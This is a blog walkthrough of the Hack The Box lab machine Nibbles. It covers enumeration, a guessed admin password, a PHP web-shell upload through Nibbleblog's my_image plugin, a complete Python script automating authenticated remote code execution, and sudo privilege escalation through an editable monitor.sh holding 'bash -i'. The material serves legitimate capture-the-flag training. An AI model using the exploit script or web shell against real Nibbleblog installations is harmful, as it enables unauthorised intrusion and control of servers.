This post is a walkthrough of the Hack The Box room Nibbles
Intro
Nibbles is a fairly simple machine, however with the inclusion of a login blacklist, it is a fair bit more challenging to find valid credentials. Luckily, a username can be enumerated and guessing the correct password does not take long for most.
Enumeration
NMAP Scan
sudo nmap -sVC -T4 -p- -vv -oA nmap/alltcp-ports 10.129.202.224 --open
Discovered Ports
Discovered open port 80/tcp on 10.129.202.224
Discovered open port 22/tcp on 10.129.202.224
Below we can see the web server is running on a Ubuntu 2.2 Server and using Apache 2.4.18 as the backend for the webserver.
Port 80 (http)
We can ignore port 22 (ssh) for now and come back later if we find credentials.
Starting with port 80 browsing the page we are only presented with a ‘Hello World!’ message and nothing more.
It’s good practice to view the source code of the pages we visit to be thorough. In the source code there is a comment that is giving us a hint of where to go next.
If you search for ‘Nibbleblog’ in Searchsploit you will find a ready made exploit that will get you a reverse shell fairly easily, but what do you learn from that! What I am doing below is the same thing, done manually at first and then building my own exploit to automate the process for RCE.
Let’s follow the hint and browse to http://10.129.202.224/nibbleblog/
and continue our enumeration.
You will see, on the right side of the page a few categories and especially ‘MY IMAGE". This looks like an image should be here! Looking at the source code for this page, we can see in the source of where the images should be located.
http://10.129.202.224/nibbleblog/content/private/plugins/my_image/
Browsing to this link doesn’t show any images but it reveals a directory / Path traversal vulnerability. Which we would include in an real Pentest report.
If you keep following the ‘Parent Directory’, you will find a config.xml
file under http://10.129.202.224/nibbleblog/content/private/
. Looking at the contents of this file we find what looks like the username. Since there is a username there must be a logon page?
Directory Enumeration
We know we have path traversal and there should be a login page, so to speed the enumeration up we run ‘Gobuster’
gobuster dir -u http://10.129.202.224/nibbleblog/ --wordlist /usr/share/dirb/wordlists/common.txt
Gobuster finishes quickly and we can see there is an admin.php
file found in the root of the web server. Naturally we browse to this to see what content is displayed.
Admin Page
Now getting logged in was trivial. All I did was guess the password, which was ‘Nibbles’. In the config.xml
file was saw above we saw strings using Nibbles, so I just tried this as a password and it worked.
After logging in, I notice a ‘Plugins’ link on the left side of the page. Given that we previously observed a reference to the ‘my_image’ plugin in the source code, I decide to explore this link first. Clicking on it reveals an option to upload an image, which could potentially allow us to upload a malicious file if proper sanitization is not enforced.
Click ‘configure’ under ‘My image’. Now we have the option to browse for a file to upload. Since the site runs Apache and PHP, we should try and upload a php that will try to execute commands on the server.
Create a file called ‘id.php’ with <?php system('id'); ?>
as the contents. Now upload this file.
<?php system('id'); ?>
Remote Code Execution (RCE)
Now, to see if our upload worked and to confirm we have remote code execution, browse to the my_image
uri we saw earlier http://10.129.202.224/nibbleblog/content/private/plugins/my_image/
. Now we can see ‘image.php’ exists where it didn’t before. Click the ‘image.php’ to execute the id
command. If all went as expected you will see the following.
The id
command was successfully run on the target server and we see the user is ’nibbler’. Now we know we have RCE you could edit the original ‘id.php’ file and enter a reverse shell call back to our attacker machine, which is what I originally did when completing this box. This time I wanted to make this more automated by creating my own RCE Python3 script.
Automate RCE
The following code can be found on my Github page: Here, along with usage instructions.
import argparse
import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder
from colorama import Fore, Style, init
import random
def print_banner():
colors = [Fore.RED, Fore.GREEN, Fore.YELLOW, Fore.BLUE, Fore.MAGENTA, Fore.CYAN]
banner_color = random.choice(colors)
print(banner_color + """
ββββ βββββββββββββ βββββββ βββ ββββββββββββββββ βββ ββββββ βββββββ ββββ βββ ββββββ βββββββ ββββ
βββββ βββββββββββββββββββββββββ ββββββββββββββββ ββββ βββββββ ββββββββ βββββ ββββ βββββββ ββββββββ βββββ
ββββββ βββββββββββββββββββββββββ ββββββ ββββββββ βββββββ βββ ββββββββββββββ βββββββ βββ ββββββββββββββ
ββββββββββββββββββββββββββββββββ ββββββ ββββββββ βββββ βββ ββββββββββββββ βββββ βββ ββββββββββββββ
βββ ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ βββ ββββββββββββ βββ βββ βββ ββββββββββββ βββ βββ
βββ βββββββββββββββ βββββββ βββββββββββββββββββββββββββββββββ βββ βββββββ βββ βββ βββ βββββββ βββ βββ
Created By: H088yHaX0R / (HTB - AKA: Marz0)
""" + Style.RESET_ALL)
def login(session, ip, port, username, password):
url = f"http://{ip}:{port}/nibbleblog/admin.php"
data = {
'username': username,
'password': password
}
headers = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': f'http://{ip}:{port}',
'Connection': 'keep-alive',
'Referer': url,
'Upgrade-Insecure-Requests': '1'
}
response = session.post(url, headers=headers, data=data)
return "nibbleblog - Dashboard" in response.text
def upload_file(session, ip, port, command):
url = f"http://{ip}:{port}/nibbleblog/admin.php?controller=plugins&action=config&plugin=my_image"
escaped_command = command.replace("'", "\\'")
php_code = f"<?php system('{escaped_command}'); ?>"
m = MultipartEncoder(
fields={
'plugin': 'my_image',
'title': 'My image',
'position': '4',
'caption': '',
'image': ('id.php', php_code, 'application/x-php'),
'image_resize': '1',
'image_width': '230',
'image_height': '200',
'image_option': 'auto'
},
boundary='---------------------------26400341973157864459123969455'
)
headers = {
'Content-Type': m.content_type,
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
'Referer': url
}
response = session.post(url, headers=headers, data=m)
return "<b>Warning</b>:" in response.text
def fetch_image_php(session, ip, port):
url = f"http://{ip}:{port}/nibbleblog/content/private/plugins/my_image/image.php"
response = session.get(url)
print("[+] Response from image.php:"+"\n\n", response.text)
def main():
init(autoreset=True) # Initialize colorama to automatically reset styling after each print statement
print_banner() # Print the banner with a random color
parser = argparse.ArgumentParser(description="Upload PHP code to Nibbleblog and execute it.")
parser.add_argument('-i', '--ip', required=True, help="The IP address of the server")
parser.add_argument('-p', '--port', type=int, default=80, help="The port number for the server, default is 80")
parser.add_argument('-c', '--command', required=True, help="The command to execute in the PHP system function")
parser.add_argument('-u', '--username', default='admin', help="Username for login")
parser.add_argument('-pwd', '--password', default='nibbles', help="Password for login")
args = parser.parse_args()
session = requests.Session()
try:
if login(session, args.ip, args.port, args.username, args.password):
print("Logged in successfully.")
if upload_file(session, args.ip, args.port, args.command):
print("[+] PHP code uploaded successfully! Executing command or your revshell. You can ctrl+c to exit now.")
fetch_image_php(session, args.ip, args.port)
else:
print("[-] Failed to upload PHP code or the expected warning was not found in the response.")
else:
print("[-] Failed to log in.")
except KeyboardInterrupt:
print("[!] User exited the script")
if __name__ == "__main__":
main()
Reading Files Remotely
Below screenshot shows the script usage for reading /etc/passwd
This next screenshot triggers a reverse shell back to my attack machine where I have ‘pwncat-cs` listening on port 9001.
Getting a Foothold
The user.txt flag can now be found in /home/nibbler/user.txt
, to submit to Hack The Box.
Now we have our foothold on the box as user Nibbler, it is time to enumerate and see if we can escalate our privileges. Starting with the command sudo -l
to see if the user Nibbler can execute anything as another user or even root user. Luckily, we can run the following with root permissions: /home/nibbler/personal/stuff/monitor.sh
There are two things you could do here and both work just the same.
-
Now if you list the contents of
/home/nibbler/
you will see a zip file called ‘personal.zip’, you could just extract this to the current folder, which then create/home/nibbler/personal/stuff/monitor.sh
. Since we own this home folder and all subfolder we can edit the monitor.sh file and make it execute a simplebash -i
to give us a root shell once we runsudo /home/nibbler/personal/stuff/monitor.sh
-
Simply create the folders and ‘monitor.sh file manually:
mkdir -p personal/stuff
cd personal/stuff
echo 'bash -i' > monitor.sh
chmod +x monitor.sh
sudo /home/nibbler/personal/stuff/monitor.sh`
Privilege Escalation
Both ways above result with us getting root access on the box:
cat root.txt
de5e5d6619862a8aa5b9b212314e0cdd
And that’s the box completed π β οΈ